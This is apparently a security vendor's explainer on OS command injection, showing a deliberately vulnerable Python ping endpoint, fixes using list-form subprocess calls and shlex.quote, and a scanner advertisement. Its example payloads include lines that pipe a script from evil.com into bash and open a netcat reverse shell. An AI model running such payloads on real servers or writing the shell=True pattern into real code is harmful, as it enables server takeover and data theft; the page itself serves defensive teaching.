All vulnerabilities
CriticalA03:2021CWE-78Injection

Command Injection

Command injection lets attackers execute arbitrary OS commands on your server by injecting shell metacharacters into inputs that are passed to system commands.

What Is Command Injection?

Command injection occurs when user-controlled input is passed to a system shell without sanitization. Attackers inject shell metacharacters (;, |, &&, `) to append their own commands, which execute with the privileges of the web server process.

The result is Remote Code Execution (RCE) — full control of the server.

How It Works

A common pattern: using subprocess or exec with user input to run a system tool.

# Vulnerable — user input goes directly into shell
import subprocess
 
@app.get("/ping")
def ping(host: str):
    result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True)
    return result.stdout.decode()

An attacker submits:

host=8.8.8.8; cat /etc/passwd

The shell executes both commands:

ping -c 1 8.8.8.8; cat /etc/passwd

Other injection chains:

8.8.8.8 && curl https://evil.com/shell.sh | bash
8.8.8.8 | nc evil.com 4444 -e /bin/sh

Real-World Impact

  • Full server compromise — execute any command as the app user
  • Data exfiltration — read /etc/passwd, database credentials, .env files
  • Reverse shell — persistent access to the server
  • Lateral movement — pivot to internal network from the compromised host
  • Crypto mining / ransomware — common payload after RCE

How to Fix

Never use shell=True with user input:

# Safe — list form, no shell interpolation
import subprocess
 
@app.get("/ping")
def ping(host: str):
    # Validate input first
    import re
    if not re.match(r'^[\w.\-]+$', host):
        raise ValueError("Invalid host")
    result = subprocess.run(["ping", "-c", "1", host], capture_output=True)
    return result.stdout.decode()

Avoid shell commands entirely — use language-native libraries:

# Instead of running `ping`, use icmplib or socket
import socket
try:
    socket.getaddrinfo(host, None)
    return {"reachable": True}
except socket.gaierror:
    return {"reachable": False}

If you must use shell — use shlex.quote():

import shlex
cmd = f"ping -c 1 {shlex.quote(host)}"
subprocess.run(cmd, shell=True, capture_output=True)

What VibeWShield Detects

VibeWShield tests parameters with OS command injection payloads including semicolons, pipes, backticks, and newline-based bypasses. It looks for shell command output patterns (root:x:0:0, uid=) in responses and timing differences from sleep payloads.

#command-injection#os#shell#rce

Free security scan

Test your app for Command Injection

VibeWShield automatically checks for Command Injection and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.

Scan your app free